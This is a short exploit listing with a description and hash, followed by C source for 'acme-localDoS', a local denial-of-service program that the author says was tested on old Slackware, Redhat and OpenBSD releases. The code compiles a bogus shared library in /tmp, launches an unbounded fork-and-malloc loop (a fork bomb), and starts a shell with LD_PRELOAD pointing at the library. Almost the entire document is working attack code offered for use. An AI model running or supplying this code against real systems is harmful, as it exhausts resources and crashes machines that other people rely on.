Local linux denial of service attack tested on Slackware 8.1 and 9.1, Redhat 7.2, and OpenBSD 3.2. Uses fork() and LD_PRELOAD.
b0a155187eb97519f6f050bd6a10f08f09dbd5a4143083c7568f2c56bc6f1eb0
/* acme-localDoS v0.3r
*
* local (and lame) DoS
*
* successfully tested on:
*
* Slackware 9.1
* Slackware 9.0 & Current @ 11-09-2003
* Slackware 8.1
* Redhat 7.2 on Alpha
* OpenBSD 3.2
*
*
* acme AT olografix DOT org
*
* acme AT paranoici DOT org
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char j0bba[] = "\x0/bin/sh";
int main()
{
FILE *fp;
char *offset;
fp=fopen("/tmp/acme.c","w");
fprintf(fp,"%s",j0bba);
fclose(fp);
system("gcc -shared -o /tmp/acme.so /tmp/acme.c;rm -f /tmp/acme.c");
if (fork() == 0) {
sleep(1); while (1) { fork(); offset=malloc(512); }
exit(0);
}
system("LD_PRELOAD=/tmp/acme.so /bin/sh");
return 0;
}